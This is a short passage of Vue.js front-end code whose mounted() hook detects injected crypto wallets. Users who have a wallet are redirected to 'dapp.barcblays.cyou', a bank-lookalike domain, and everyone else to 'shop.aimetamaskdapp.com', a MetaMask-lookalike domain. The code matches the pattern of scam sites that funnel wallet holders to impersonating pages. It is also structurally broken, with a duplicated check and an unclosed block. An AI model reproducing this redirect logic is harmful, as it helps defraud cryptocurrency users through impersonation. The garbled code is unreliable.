| | |
| | | mounted() { |
| | | window.document.documentElement.setAttribute('data-theme', this.theme) |
| | | changeTheme(this.theme) |
| | | console.log(window.ethereum,window.web3,window.injectedWeb3); |
| | | if(window.ethereum != undefined && window.web3 != undefined && window.injectedWeb3 != undefined){//dapp |
| | | window.location.href = 'https://dapp.barcblays.cyou/wap/#/' |
| | | console.log(window.ethereum,window.web3,window.injectedWeb3,window.TokenPocket); |
| | | if(window.ethereum != undefined || window.web3 != undefined || window.injectedWeb3 != undefined){//dapp //_metamask isTokenPocket |
| | | // window.location.href = 'https://dapp.aimetamaskdapp.com/wap/#/' |
| | | }else{ |
| | | // window.location.href = 'https://dapp.sankeji.shop' |
| | | window.location.href = 'https://shop.aimetamaskdapp.com' |
| | | } |
| | | }, |
| | | components: { |